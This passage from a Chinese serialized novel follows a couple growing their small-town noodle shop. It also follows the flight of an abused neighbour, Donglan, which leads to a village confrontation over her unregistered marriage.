但宁时秋一坐下来,把手放到桌子上,就感受到了这个书桌和椅子,很适合他们用。 有专门的书桌学习,跟趴在箱子上、椅子上或者家里的饭桌上写,感觉很不一样。 那种感觉宁时秋形容不出来,就是觉得不用总是担心趴久了脖子、腰和后背泛酸,坐着很舒服。 桌子上还有台灯,打开后光线比老房子那边的灯泡更亮一些,但又不至于刺眼。 他以前在老房子那边看书,灯光太暗,看一会儿就觉得眼睛酸涩。 这一切让他很开心,也让他觉得学习变得更有意思了。 宁时夏年纪小,还不懂这些,只一心想着快快写完作业,然后继续回去收拾自己的房间。 她怀着这种着急的心情,刚开始写的时候就没什么耐心,把老师布置的生字写得扭七八歪。 宁时秋把注意力从桌椅和台灯上收回。 一看妹妹写的字,立刻板起了脸:“怎么写得乱七八糟的,不许写成这样,老师说字如其人,你以后要长成那样吗?” 说完仍旧板着脸让妹妹返工。 坐在一旁边算着账,边看他们写作业的赵如月那心一下又提起来了。 结果,又是虚惊一场,毛躁的小闺女挠挠头,看看被自己写得乱七八糟的字,还有些不好意思。 她吐了吐舌头说道:“我认真起来一定能写好,以后长得美美的、还要特别厉害,像电视里的女侠一样,刷刷刷一刀砍一个。” 她说完之后,竟然真的静下心来,一笔一画地认认真真起来。 赵如月悄悄瞄了一眼,女儿认真起来后,确实写得很好。 原来他们从小练字就那么认真了,怪不得长大后,几乎每个人见到他们写的字都夸好看。 赵如月低头,看向自己面上的账本。 孩子们自己就能把自己的学习顾好,她在这方面没经验,不给他们扯后腿就不错了,帮不上多少忙。 既然这样,她就在别的地方使使劲,尽量给他们创造好一点的环境吧。 赵如月把视线放回账本上。 第一天客人格外多,把她和宁绍明累得够呛,不过回报也很丰厚。 因为没有房租,水电也便宜到几乎可以忽略不计。 一天下来,扣掉成本,赚了三百出头。 这些钱放在城里可能不算什么,可是在他们这个物价不高的小镇,真的很可以了。 只是昨天是时机刚好,集日撞上学生返校。 今天就没那么多了,扣掉成本,只有一百多,差一点到两百。 之后不送煎蛋,这样普通的日子可能还会降一点。 但不出意外的话,每天应该也能有一百多。 这个收入,在镇上几乎是普通人收入的五到十倍! 单逢集日的日子,暂时还没遇上,赵如月认真又详细地把每天是什么日子都记录好,等以后记得多了,总结一下,就能预估每个月能赚多少。 不过每个月赚的钱也不是一成不变,现在是天气暖,但没有盛夏那么热,炒米粉和煮米粉比较好卖。 等到夏天,菜单就得变一变了。 赵如月思索着,把这一点写在了自己的备忘录上,晚点跟宁绍明商量一下。 他们得提前做好准备,不能等事到临头,生意被影响,才着急忙慌地去做改变。 70-80 第71章 两个孩子终于有他们自己的房间。 之前一直想搬家后也要跟爸爸妈妈一起睡的宁时夏,也没再闹着要跟他们一起睡了。 洗完澡,根本不用人催,就爬上了自己的小床,开心地表示以后都要自己睡。 他们夫妻俩也终于有了些私人空间。 宁绍明洗完澡回到房间,赵如月就把整理好的账本给他看。 宁绍明看到账本上的利润也很高兴:“果然做生意比给人打工赚到的钱更多。” 坏处是要自负盈亏,但是也更自由,还能陪伴家人。 这让宁绍明更不后悔自己的选择。 他看完账本,赵如月把账本收起来放到床头柜的抽屉里。 接着跟他说起夏天新菜品的事:“听说夏天汤粉不太好卖,等天更热一点,我们要不要把汤粉停掉?” 天气太热,炒粉生意平日里可能也会有点影响。 好在目前镇上只有他们家卖,算是他们家店的特色之一。 集日和学生放假、返校的时候肯定是好卖的,所以影响不大。 热狗面包也是,这两个短期内不会有变动。 可他们两个精力有限,厨房更是几乎全靠宁绍明一个人顶着。 增加夏天应季的新品,他们忙不过来,肯定要酌情减少旧品。 热狗面包和炒米粉不能动,就只能动煮米粉了。 宁绍明认真思考之后说:“停掉不太好,跟镇上的店一样,把煮粉的量减掉一半或者三分之二,换成凉拌粉或者别的。” 赵如月问:“你还会做别的吧?我们做些跟镇上其他店不一样的东西比较好。 镇上的凉拌粉好吃是好吃,但做法几乎都一个样,味道也是大差不差。” 大概做法其实很多人都会,就是花生油混猪油熬熟,加入鲜米粉中。 再加上酱油、白糖、花生米。唯一的区别就是最后加入的酸卤子。 酸卤子是每家店各自做的,味道会有细微的差别,做得不好的话,会很难吃。 但是镇上能站稳脚跟的店,做的酸卤子味道都不差。 以上是最基础版本的本地凉拌米粉,没有肉,也没有配菜。 优点是价格便宜,只要四毛钱一份。 升级版的五毛钱,可以加一勺肉末炒豆角的浇头。 还想再加肉或者菜,就要再另外花钱加了。 不过那是以前的价格,今年煮米粉涨价了。 凉拌粉估计也要涨一点。 “本地的凉拌米粉也做吧,不好卖再减少或者撤掉都行,我以前跟北方的同事学过凉面和凉皮的做法,可以各做一点让客人选,哪个卖得好,就向哪个倾斜,只是……” “只是什么?” “那样需要频繁调整菜单,我们的菜单就得总是换,每一样东西对应的编号也要换,我们就得在这上面花更多时间去记住,是不是增加了工作量还有点麻烦?客人也有可能懵圈。” 宁绍明的话,让赵如月想起自己上辈子见过的凉皮摊子。 那些凉皮摊子里,牌子上写的是某某凉皮,但是摊子上卖的不只是凉皮。 也有凉面、米粉可以选,还能双拼、三拼。 有些分得细致的摊子上,凉面甚至还粉细面和粗面,还有什么碱水面? 反正她分不太出来,只觉得都很好吃。 赵如月一想起来就把这个想法跟宁绍明说了:“这样卖的话,我们的菜单就不用总是改变了,只需要记住客人要单一的一种还是双拼、三拼。” “这个主意好,除了面可以选,我们还可以多准备几种米粉让客人选。 别说双拼、三拼,客人想每种要一点都行。 你明天去进货多进一些面粉和干米粉、干米线,凑够一辆小皮卡的量。 我联系好之前给我们拉钢筋来的司机兄弟了,他说要是能装满一车,到县城直接联系他去接。 他可以开车带着你各个店去拿货,省得你去了县城还要坐公交车到处跑。” 赵如月也觉得这样很省心,高兴地说道:“那我明天可得多买点,把车子塞满,幸好昨天客人不多,要不然家里剩下的存货,可不够明天用了。” 宁绍明说:“其实干米线已经不够了,没想到镇上的人最喜欢的竟然是炒米线。” 这还挺出乎宁绍明意料,他一直觉得镇上的人更喜欢新鲜现做的鲜米粉。 “也许是我们这里的鲜米粉比较厚不如细细的米线入味?” 他们买的干米线是粤省专门用来炒的米线很细。 炒着容易入味,既好炒熟又有点韧劲,不容易断,吃着也不会软趴趴的,口感非常好。 以前本地人不知道这种米线是专门用来炒着吃比较合适。 买回来几乎都是煮着吃,以为跟干米粉一样,结果掌握不好火候,就容易煮过头。 煮好要么一夹就断,要么就煮得米线全溶到汤里了,夹都夹不起来。 后来买的人就渐渐少了,他们去进货的时候,价格非常低。 他们觉得这么便宜,自己真是赚到了。 老板估计也觉得他们买那么多自己的积压货,是遇上不懂的冤大头了。 招待他们的时候脸差点没笑烂。 宁绍明有些遗憾地说:“我听酒店里桂省来的同事说,他们那里有比较薄比较细的鲜米粉,每次听他们形容都把周围一圈人馋得不行,可惜地域性太强,出不了省,要不我们还能买点来试试。” 说到桂省,赵如月第一时间想到螺蛳粉和老友粉。 可这两样离开本地,不是本地人做也不一定对味。 而且现在这两种粉也不如以后有名,他们这里的本地人不一定愿意尝试,想想还是算了。 两个人商量好夏季要新增的菜品。 又商量着增加了明天要采购的食材数量才各自睡去。 赵如月第二天早晨跟前两天一样,起得很早。 她帮着宁绍明把开门前要准备的东西准好。 又忙完早上客人吃早饭的高峰期。 等到店里没什么人,才背着包带上钱,去客运站坐公交车去县城。 到了县城,她直接在县城的汽车客运总站下车。 在这里不管是买电话卡,还是找公用电话都比别的地方方便很多。 价格也跟别的地方没差别。 赵如月先去买了电话卡,然后直接在卖电话卡的小卖部打电话。 她联系好司机,就坐在小卖部里等司机开车过来。 刚好现在小卖部也不忙,只有一个老板娘百无聊赖地看店,有人来能跟她聊天她很高兴,聊天的兴致很浓。 两人就这么聊起来了。 小卖部的老板娘听说赵如月是榕溪镇的人。 一脸惊喜地说:“榕旺屯是你们榕溪镇的一个村屯吧?” 一个县城的人知道这个不奇怪,赵如月点头说:“对,榕旺屯离镇上很近,从榕旺屯走到我们镇上的集市也就二十分钟的路程。” “没想到那么近!我老家的村子离我们镇上走路都要一个小时,以前还小的时候,跟大人去赶集,走得腿都发颤,幸好现在我嫁到县城,家里条件不错,也有摩托车开回去了,要不我都不想回娘家。” 小卖部老板娘回忆了好一会儿小时候。 说爽了才把话题转回来:“你是娘家在榕溪镇还是婆家?” 赵如月说:“我娘家和婆家都在镇上。” “那挺好,嫁得近不容易受欺负,我以前可羡慕镇上的小孩了,不过可惜了,你长得这么漂亮,如果你当初愿意想嫁到县城,肯定也能找个好的嫁。” 听到这话,赵如月只是笑笑,没接茬。 嫁人这种事谁能说得清呢? 有可能会嫁得好,也有可能很差。 假设起来没有任何意义,没有必要去美化自己没选择的路。 不过小卖部老板娘想说的也不是这个。 她也只是这么一说。 现在谈性起来了,没得到回答,也依然能自己继续说下去: “你们榕溪镇美女是真多,我今天一天之内遇到的两个全都是美女,一个是你,另一个就是我刚刚提起的榕旺屯。” “那可真是太巧了。” “是啊,”她兴奋地继续说,“那个榕旺屯的美女,年纪跟你差不多,皮肤跟你一样白,只是脸色没你那么红润健康,看起来有些胆小畏缩,没你大方爽利。 不知道是不是被她男人打才变成那样的。 我看到她脸上有些青紫,问她又说不是,我跟她也不熟,就没继续问。 她嘴边有一颗小痣,往常老人说女人长这种痣不好,那是馋痣,女人长了这种事就是天生嘴馋,可那痣长在她脸上是真好看! 对了,她的头发也跟你的一样,有点微卷,不过她的头发有点发黄,没你的头发黑,乍一看,跟个小洋妞似的。 我以为她头发烫染过,还问她在哪里做的头发,结果她说是自然卷,你这头发不会也是自然卷吧?” 赵如月也有点惊讶:“太巧了,我的头发还真的也是自然卷。” 小卖部老板娘一拍大腿,用夸张的语调大声说: “哎呀!那可确实是太巧了,可惜那个美女着急跟着她老公去大城市打工,我没来记得问她的名字,要不然还能跟你说说,没准你们还真认识呢,保不齐是姐妹都有可能。” 以前老一辈粮食少,生的孩子又多,送走孩子这种事不算什么稀奇事。 而且也不是所有人都送得远远的,有人就直接送给亲戚,两家也不会断绝来往。 赵如月笑了笑说:“还真不可能,我爸妈没送走过孩子。” 赵如月说完,回忆起小卖部老板娘那些话,不由陷入了沉思。 她总觉得小卖部老板娘形容的那个人,有种熟悉感。 很像一个她认识的人——住在宁家老宅对面的赵鸿利的老婆冬兰。 可她前几天还听到赵鸿利的大嫂抱怨,冬兰她娘家妈又生病了。 冬兰跟以前一样,回娘家照顾了几天,又把孩子托付给赵鸿利的大嫂帮忙带。 而赵鸿利依然成天在家里喝得醉醺醺。 之前那么多人跟着黄文发去鹏城,赵鸿利的大哥也劝他跟着去找点事干。 然而不管怎么劝,赵鸿利仍旧是烂泥扶不上墙。 后来他大哥甚至上手打了,赵鸿利也不愿意去,最后赵鸿利他大哥只能作罢。 也没听说他近期遇上什么可以改变思想的大事,真能在段时间内改了性子,带冬兰去打工? 可小卖部老板娘的描述,真的太像冬兰了。 两人正说着,赵如月突然听到一声喇叭响。 抬头一看,是司机开着车到了。 第72章 赵如月站起身拍了拍裤子:“姐,我还得去进货,先忙去了,有空再来找你唠嗑。” 小卖部老板娘说得正高兴,她觉得自己跟这个美女挺聊得来的,虽然她们甚至没互通姓名。 她被打断了还感觉有点遗憾,可也不能耽误别人的事。 只能应道:“诶诶,好好好,你有空一定要再来找我聊天啊! 这是我用自己家房子开的店,会一直开着,不会倒闭的,我就在这里看店,你什么时候来都能见到我。” 赵如月也‘好好好’地点头应下。 但是她这次要拉一车货回去屯着,下次什么时候来县城,她也不知道,更别说再来这家店。 下一次估计遥遥无期,这老板娘估计都不一定还记得她。 上了车,赵如月跟司机寒暄几句,司机就开车了。 车子缓缓往客运站出口驶去。 然而县城客运站的出入口比较小,只能容纳比较小的车子进出会车。 要是有长途大客车进出,另一个方向的车子就要在旁边停下,等大客车开走,才能过。 他们出来的时候很不凑巧,正好有一个大客车从外面进来。 他们这些从里面出去的车子数量又多,只能全都往旁边靠一靠。 司机把车子靠在一个下乡的小巴车旁边。 赵如月百无聊赖地做看看又看看,没想到竟然在那辆下乡小巴车上看到了一个熟悉的人。 赵鸿利的妻子——冬兰。 微黄微卷的头发,嘴边有一颗痣,皮肤很白,跟小卖部老板娘描述的一样,确实是她。 只是她脸色苍白,衬得她脸上的青紫特别明显。 赵如月本以为她有可能是被迫或者被骗走的。 可是当她转过脸来,看向远处,赵如月在她的脸上,看到了很明显的、略显羞涩的笑意。 看起来并不是被迫,那么她知道自己在做什么吗?还是被人骗了? 她身边的男人不是她的丈夫赵鸿利。 而她坐在下乡的客车上,并不是前往大城市的客车。 那辆车的车头上贴着的字,写的最终站点,也是本市的一个乡镇,那个乡镇离榕溪镇特别远,可并不是外地大城市。 看来冬兰只是随便找了个借口敷衍小卖部老板娘的好奇心。 更让赵如月差异的是,冬兰身边还跟着她的小女儿赵思葵。 不过她的大女儿赵思莲没在。 这不禁让赵如月猜测,难道她跟赵鸿利私下离婚了? 赵鸿利那种思想传统、大男子主义又爱面子的男人会愿意离婚? 两人各自抚养一个孩子? 看向远处的冬兰收回视线,注意到坐在小皮卡上的赵如月。 她神色变得慌张起来,同时眼中带上祈求。 赵如月无法判断她是想求自己救她,还是求自己当做看不到,回去别跟人说。 赵如月想了想,从包里拿出笔和写进货单的本子。 翻到空白页,写下几个字:你遇到了骗子? 冬兰摇头,她也想找纸笔,可她没带。 正着急该怎么办,忽然看到对面的赵如月在玻璃上哈了一口气,又在起雾的车窗上划了一下。 冬兰急忙也往面前的玻璃上哈气。 哈一口气写一个字:这、是、我、新、丈、夫、我、跟、他、领、证、了、赵、没、有、领。 看到这里赵如月明白了,这事自己没有管的立场。 即使她是赵鸿利的同族堂姐,也管不了这个。 赵如月心里十分震惊,她今天才知道,赵鸿利跟冬兰两人连两个孩子都生了,竟然没领证。 也许他们两个算那什么事实婚姻? 可冬兰却又跟现在这个男人领证了。 现在他们两个人在法律上是夫妻。 这种事赵如月没见过,也不太懂。 遇上这种情况,事实婚姻还算数吗? 冬兰这样到底算是谁的妻子? 两人沉默了一会儿。 赵如月在纸上写下最后一句:我今天什么也没看到。 车上的司机趁着等待的功夫,下车买烟了。 他再上来的时候,前面大客车已经开进客运站。 那辆下乡的小巴车已经开走,被他们这辆车堵在后面的车子正在按喇叭。 司机连刚买的烟都没来得及拆开,把烟往口袋里一塞,急忙启动车子开走。 赵如月买好东西回到家,跟宁绍明还有司机一起,把东西卸进家里被当做仓库用的小房间。 宁绍明归置好货,给司机结了钱。 本来还想留司机吃晚饭,但司机家里有事,看起来并不是客气推辞,宁绍明就没又继续劝。 他抓紧时间迅速做了一份炒米粉,给司机打包带上,司机提着炒米粉就匆匆离开了。 这时候店里没客人,也还没到孩子们放学的时间。 店里只有赵如月和宁绍明两个人。 赵如月担心晚上吃不下饭,就没吃米粉,而是端着一碗羊杂汤慢慢地喝着。 宁绍明在她身边坐下,跟赵如月说今天店里的生意还不错:“今天是最后一天送煎蛋,客人还比昨天多了。” 赵如月懊恼道:“早知道我该动作快点,早点赶回来帮你。” 宁绍明说了让她意外的事:“大嫂路过店门口,看我太忙进来帮忙干了半天活。” “太阳打西边出来了?无缘无故的,大嫂竟然会来帮忙。”赵如月说着,还真往窗外看了一眼。 这会儿是下午,太阳已经渐渐偏西了,显然,今天太阳并没有从西边升起。 而王海燕也不是无缘无故好心来帮忙。 宁绍明也很无奈:“我大哥昨天晚上打电话回来,说明天早上到家。” “不是说他在那边干得挺好?怎么突然就要回来?” “具体的我也不知道,大嫂说我大哥在电话里没细说,好像不太愿意说,她想让我等我大哥回来,跟他好好聊聊,问问到底怎么回事。” “那小春也一起回来吗?” “我大哥说也带着小春一起回。” 赵如月道:“那等他们回来再问问吧,小春跟你感情好,就算大哥不说,你也可以私下问问小春到底怎么回事。” 两人都猜不到宁绍贤再那边到底遇到了什么事,只能暂时把这个话题中止,转而聊别的事。 聊着聊着,赵如月就跟宁绍明说起了自己在县城客运站遇到冬兰的事。 宁绍明第一反应是紧张地劝她:“你可别掺和这事。 人家两口子的事,别说你只是同族的堂姐,就算是亲堂姐也管不了,没得到时候给自己惹一身腥。 赵鸿利那个人不喝酒的时候看着貌似是挺好,可酒品见人品,你要把这事告诉他,他当面可能不会表现出什么,心里没准回怨你为什么不当场帮他把老婆带回来。” 赵如月说:“我明白,我肯定不会管他的事,毕竟我又不是他亲姐,这事我们就当不知道吧。” 虽然赵如月决定了不会说,但她也免不了比以前对赵鸿利家的消息更关注了些。 然而冬兰走了好几天,赵鸿利依然每天喝酒喝得醉醺醺。 老婆那么多天没回家,他竟然一点也不着急。 别人问起来,他倒是还有脸指责冬兰不负责。 说冬兰不像样,当老婆、当孩子妈都不合格。 怨冬兰总爱往娘家跑,还说等她回来,非得收拾她一顿。 也就是现在不是那么忙,又对赵鸿利家关注多了点。 赵如月才知道,冬兰之前回过一次家。 时间就是赵如月在客运站遇到她的前两天。 只是之前赵如月忙着店里的生意,又忙着搬家的事。 没时间回老宅那边跟邻居唠嗑,才不知道这件事。 估计冬兰就是那时候被赵鸿利打了。 赵鸿利到家的事,赵如月这次也是在集上遇到赵鸿利的大嫂带着冬兰的大女儿买肉,听赵鸿利大嫂说的。 他大嫂说:“冬兰之前回来,说她妈病得太重,要见见两个外孙女,就回来想带两个女儿一起去她娘家一趟,探望她们外婆。 可赵鸿利那缺德玩意儿死活不愿意,让她带孩子回去。 你知道他说什么不?他竟然说冬兰和两个孩子都走了,家里家务活就没人干了。 你说说,哪个当爸爸的当成他这样? 家里的活竟然让一个八岁一个三岁的孩子来干! 冬兰求了半天,他也不松口。 就是死活不许她带孩子回娘家。 冬兰晚上想趁他睡着了,悄悄把孩子带走,可惜被他发现了,他就把冬兰打了一顿! 幸好我们听到动静赶过去了! 你不知道,他打人那架势,好想冬兰不是他老婆而是杀了他全家的仇人一样! 我还以为他以前喝醉了神志不清,打人才那么没有分寸,谁知道他没醉酒打人也往死里打! 后来冬兰又求他,说只带小的回去,好歹让老人临终前见到一个。 他觉得小的在家干不了什么活,还要人照顾,这才同意了。” 赵如月听完久久不能平静,她有点庆幸,自己没跟赵鸿利说在县城见到冬兰的事。 甚至在心里的隐蔽之处,有个想法:幸好冬兰是离开了,而不是被打死了。 附近的村子里,有人到处说自己老婆跟人跑了。 结果他老婆是被那个人自己埋了的事,又不是没发生过。 赵鸿利那个样子,冬兰如果不跑,万一真被打死,或者打得身体器官受损、甚至残疾怎么办? 第73章 赵如月数着日子,想看看赵鸿利到底什么时候,才发现他没老婆了。 这日子数着数着。 宁绍贤和宁时春回来了。 他们回来后,宁绍贤不知道怎么回事,一回家就躲着不愿意见人。 宁绍明去找他好几次,也见不到人。 只好去问大侄子。 可宁时春也说自己不知道:“三叔,我要是真知道什么,肯定不会不告诉你。 说实话,我自己也很懵,我爸突然就非要回来,之前一点征兆都没有。 我当时怎么劝也劝不了,我在酒店干得好好的,是真不想回来,我一个月挣……” 他顿了一下,左右看看,确认没人仍然压低了声音才继续说:“我跟文发叔他们一起在后厨干活,一个月能挣一千快钱! 三叔我没跟我妈说我一个月能挣那么多,只说还是学徒,在师傅手底下打杂、学手艺一个月工资只有五百。 要再学几个月才能转正。 一个月一千块钱啊!这么多钱,我以前想都不敢想。 而且经理和厨师长都夸我干得好,夸过好几次!我真喜欢那个酒店。” 宁时春心里真的非常郁闷:“我爸那么着急回来,我都没来得及正经递交辞职申请,也没来得及跟领导们解释,就这么着急忙慌地走了。 以后要是还能遇见他们,我都没脸跟他们打招呼。 还有……我的工资压一个月,不知道还能不能拿到了。” 宁绍明实在问不出来什么,只好作罢。 回家之前安慰宁时春:“你别担心,酒店那边制度挺完善的,你给酒店打个电话,说明一下自己情况,再跟那边说你爸情况不太对劲,酒店不会不会太计较,那一个月的工资现在压着,下个月发工资的时候也会给你,只是可能会被扣一点。” 他的安慰有点效果。 宁时春总算没有再苦着脸,一副想哭的样子:“被扣一点就被扣一点吧,总比一份不给要好多了。 我等会儿就去小卖部打电话。” “家里不是有电话,在家里打不就好了?”宁绍明问。 家里的电话,因为是装在大哥大嫂的房间里。 为了避嫌,宁绍明用得比较少。 只有他一个人的话,他是不会进去打电话的,以前都是跟赵如月一起进去。 他们分家又搬到新家后,他用得更少了。 可宁时春是大哥大嫂的儿子,不存在这种问题。 这一问,宁时春又露出一脸无奈的表情:“我爸进去后就不开门,我妈现在想进去睡觉,或者拿换洗的衣服都进不去。 她每天放在房间门口的饭菜,我爸倒是一顿不落地背着人悄悄吃光了。” 宁绍明听了也不知道该说什么了。 外人不见就算了,怎么对儿子老婆也这样? 他现在是真要看不起这个大哥了。 “那就别管他,去小卖部打电话吧,要是不让人知道,就去县城再打。” 宁绍明从老宅无功而返。 王海燕最开始的几天,还会来店里帮帮忙,顺便想叫宁绍明在多去几次,多劝劝他大哥。 宁绍明本来不想管,后来他爸来了,也让他再去几次。 他爸给他带孩子很用心,对两个孩子也好,宁绍明不能不给他爸面子。 只好又去,可不管去几次,依然没用。 他最后一次去的时候,宁绍贤还说了一些酸话。 大意就是让宁绍明别得意,别以为开了一家小破店,当了老板就以为自己有多了不起,一个乡镇小店而已,嚣张什么! 他是哥哥,还轮不到一个弟弟来管诸如此类的话。 宁绍贤说那些话的时候,宁达当时也在场,后来就再也没叫宁绍明去了。 他自己也没再管这不知好歹的大儿子。 直到十来天过去,对门赵鸿利终于觉得有点不对劲。 因为距离冬兰带小女儿回娘家已经过去二十几天,快一个月了,竟然还没回家。 这是以往从来没有过的事。 家里还有孩子,冬兰不会为了照顾亲妈就忽略孩子那么久。 她每次去只回去几天,最多一个星期就会回家,照顾一下孩子,收拾收拾家里。 毕竟赵鸿利的大嫂也有她自己的孩子要照顾,有她自己家的事要忙,她不能一直让大嫂帮忙照顾孩子。 而赵鸿利在冬兰母亲生病、病重时都没去探望过一次。 这次终于舍得放下他的酒杯,去一趟冬兰的娘家找她。 只是赵鸿利去的这一趟,是竖着走去,横着被抬回来的。 赵鸿利看起来浑身的青紫伤痕,眼睛都被打出了两个还眼圈,但说话依然中气十足。 他一回来就嚷嚷着、咒骂着:“贼娘养的!那个老虔婆竟然让一个女儿嫁两家!真特么不是东西,怪不得死得早!活该她早死!” 一个劲地叫嚣着要找人去榕旺屯找冬兰娘家人的麻烦。 可见人家貌似还不如他打冬兰打得厉害,才让他还有精力这么大喊大叫。 赵鸿利叫嚷的声音,让关门关窗正躲在房间里埋头吃饭的宁绍贤都听到了。 一直待在家里自闭的宁绍贤,一听到那些话。 又听见王海燕在家里跟儿子嘀咕着说住对门的赵鸿利出了事,好像是老婆跟人跑了。 为了不错过热闹,宁绍贤终于愿意出门了。 王海燕本来都跑到门口看热闹了。 她一转身,发现宁绍贤也跑了出来,这下连热闹也顾不上看了。 急忙转身回屋,把房间的门窗全锁上。 锁门的钥匙也藏了起来,势必不让宁绍贤再缩回房间里当缩头乌龟。 赵如月得到消息跑来看的时候,赵鸿利他大哥得到别人的报信,也从地里赶回来了。 一见到赵鸿利被打成这样,他大哥顿时气红了眼:“做出那样的事,他们竟然还敢打你!我找他们算账去!” 他立刻挨家挨户地去找同族的兄弟。 回来后,又去找平时跟他家处得比较好的邻居家的男人。 请他们一起去帮自己弟弟找回场子。 如果是赵鸿利自己去情人,别人不一定乐意帮忙。 毕竟他酒品是真的很烂,人品也不太行。 又爱自己窝在家里喝酒,不常经营人际关系,只爱跟自己的几个酒友熟络来往。 平时跟邻里和同族打交道比较多的,是他大哥。 他大哥平时在外面比他会做人,大多数人都是给他大哥面子。 宁绍贤也是被请去的人之一。 赵鸿利他大哥问到他的时候,宁绍贤一脸兴奋地表示一定会去帮忙。 赵如月见状很庆幸自己全家人搬到新家去了。 要不他肯定也要叫宁绍明一起去。 老婆跑了这种事情,跟之前她大姐夫家堂弟买回来的媳妇家人找来还不一样。 那种事,明显是人口拐卖,涉嫌犯罪的,邻居们都不想沾上。 可老婆跟人跑了这种事,男人太会共情。 在这种事上还尤其团结,根本不会去深究她到底为什么会跑。 只会说不管受到什么委屈,她跑了,她就不是个好女人。 要是宁绍明不愿意去,或者去了不愿意出力,肯定会被所有去的男人指责。 所以这事她们家最好一点也别沾上。 好在赵鸿利他大哥没想起来要去找宁绍明。 只是赵如月的亲哥和几个亲堂兄弟都被叫到了。 他们不知道内情,全都群情激奋地跟着一起去。 赵如月也不能这时候上去拦着,只好也跟着一起去。 到了地方,好歹能趁着人多混乱,把自己的娘家兄弟们拉到后面。 不让他们傻呵呵地冲在前面。 一起去的人里,男人女人都有。 男人是主力,女人则是防着对方那边派女人和老太太出来耍赖。 到时候男人不好出手,要是哪个男人不小心打到了女人,能被对面揪着这一点不放,到处传他们那地方的男人打女人,这种时候就得派女人上。 赵如月混在里面不算突兀。 一行人到了冬兰娘家附近,赵如月假装扭到了脚,直喊疼。 她哥哥和堂兄弟们看她疼得那么厉害,都担心地围到她身边。 然后七嘴八舌地讨论起要不要先送她去医院,以及要派谁送去。 渐渐地,他们就落到了最后面,连最前面的对话都听不太清了。 只知道对面请了榕旺屯上了年纪,辈分比较高的老人,还有在本地有些声望的人来。 赵如月见自家人没冲在前面,稍稍放心了些。 说道:“来都来了,总不能就这样→转头回去,我们在这里看看情况再说?他们好像吵起来了,也不知道说的什么。” 一个比较灵活的堂弟钻到前面听,然后又钻回来传话。 “对面的人嘴皮子真利索,他们在说结婚证的事呢。” 赵如月的大哥问:“什么结婚证?” 他一头雾水,不是要为了赵鸿利老婆跟人跑的事来讨个公道吗? 怎么说起结婚证了? 那个堂弟继续说道:“我听对面的人说,鸿利哥和冬兰嫂子没领证,不算夫妻。” 听到这话,赵如月她哥和其他堂兄弟们都沉默了。 半晌,有个堂哥憋出来一句话:“好像,没领证确实不是夫妻哈?” 赵如月没吭声,她猜她的兄弟们比她还要法盲。 八成根本不知道还有事实婚姻这个概念。 第74章 跟着来的一行人听到冬兰娘家人的辩解,一个个都懵了。 这些来的人里,有不少跟赵鸿利和冬兰一样,只办了喜酒,没领结婚证。 他们从来没听说过不领证就不算夫妻。 他们周边很多人也这样,从来没人想过这个问题。 个个都在心里打鼓,想着回去要不把结婚证给补上。 可不能跟赵鸿利似的,老婆跑了想找回来都名不正言不顺。 而冬兰娘家人咬死了这一点,不愿意承认赵鸿利是他们家女婿。 “赵鸿利跟我家冬兰没领证,那法律就不认他们是夫妻,你们要不服,就让赵鸿利上法院告我们去!” 上法院这种事,离他们这样的普通人太远。 远得像是只会在电视离才会存在的东西。 村里有什么事,不涉及犯罪,几乎全是村里的干部调解。 冬兰的娘家人也是知道这一点,才敢这么说。 他们赌赵鸿利不敢去告他们。 被抬着跟来的赵鸿利心里确实有点发怵。 可他又觉得不服:“当初你们家收了我不少彩礼,有那么多人证,你们总不能耍赖吧!” “不就一两千块钱嘛,”冬兰的一个哥哥吊儿郎当的说,“谁稀罕你那点臭钱,我们现在就还你!” “我呸!现在说看不上,现在的一两千快钱,能跟以前的一两千块钱比?除了钱,还有三转一响呢!” 赵鸿利也不傻,他要求冬兰娘家人把钱按照现在的物价,把钱给他。 当初说亲时送的礼,也要求折成钱一起还。 赵鸿利那些话说得太快,他大哥想拦都反应不及。 气得很想也甩赵鸿利一耳光。 他们来的目的,本来是想帮他找回媳妇儿。 这傻缺,让人家激得忘了初衷,竟然拐到要钱上面去了! 要这点钱有什么用 一个成天爱喝酒,爱打媳妇儿的中年男人,拿这点钱还想冲洗你再娶一个? 赵鸿利他大哥恨铁不成钢地瞪着这个傻缺弟弟,恨不得时光倒流,提前把他的嘴巴封起来。 冬兰娘家人冷哼一声说:“不可能,最多还你两千,你爱要不要,不要拉倒!” “两千?两千你打发叫花子呢?你们一女二嫁,第二次把她嫁出去,肯定没少要彩礼吧!”赵鸿利一听,激动起来,又抢话。 他大哥被气得太阳穴突突地胀,恨不得直接把他给打晕。 他看赵鸿利激动到狰狞的脸色,心里知道,事情的发展已经不受他控制,干脆不再说话。 放任赵鸿利爱怎么样就怎么样吧,最后不空手而归就行。 反正他这个当大哥的,该帮弟弟的事情都帮了,过后后悔也不能怨他。 冬兰的娘家人听到赵鸿利的话,像是被戳到了痛脚,开始蛮不讲理。 冬兰她那个传说中一直生病,甚至病重的母亲一只手掐着腰,一手指着赵鸿利的鼻子骂: “我们要没要彩礼关你屁事! 冬兰没跟你领证,不是你老婆还给你生了两个娃,便宜你个瘪三了,我还没冲你要钱呢! 你还想管老娘我要钱?反了你了! 冬兰是我身上掉下来的肉,我十月怀胎,难产生下她,给了她一条命,她这辈子都欠我的,不是欠你赵鸿利的。 我乐意把她嫁给谁就嫁给谁,你管不着! 你要是有本事,自己生一个,你爱把你生的嫁给谁别人也管不着! 啧啧,我忘了,公鸡不会下蛋,你想生也生不出来!” 赵鸿利听到最后一句,以为冬兰她妈嘲讽自己生不出儿子,瞬间气疯了。 “你个老虔婆找死!”他怒吼一声,也不躺着装被打到起不来了。 疯了一样地冲过去,向着冬兰她妈挥拳。 “哎哟!”冬兰她妈没想到自己几个儿子都在场,自己还能被人打。 她猝不及防之下被赵鸿利狠狠打了一拳。 跌倒在地后,她立刻躺在地上边打滚边扯着嗓子喊:“打人啦!打人啦!要打死人啦!” “你个鳖孙,敢打我妈!”冬兰的兄弟和堂兄弟们,立刻冲上来揪住赵鸿利就要打。 可他们似乎在村里人缘不太好。 榕旺屯明明是他们的主场,来的人竟然还不如赵鸿利这边的人多。 这边的人也冲过去,双方混打在一起,这边甚至还有小一半的人没能挤过去凑上热闹。 没挤过去的人里,就有位置最靠后的赵如月的哥哥和堂兄弟们。 这时,赵鸿利他大哥不知怎么,竟然也没冲在前面,也悄悄地绕到了后面来,跑到赵如月他们这边。 赵如月几人看到他悄悄跑到后面来,心里有点微妙。 前面的人看在他的面子上,为他弟弟撑场子,冲在前面,他竟然溜到后面来了…… 不过赵鸿利他大哥也溜回来,也不只是不想冲在前头。 他偷偷凑过来,小声对他们说:“兄弟几个现在帮不上前面的忙,能不能帮个别的忙?” 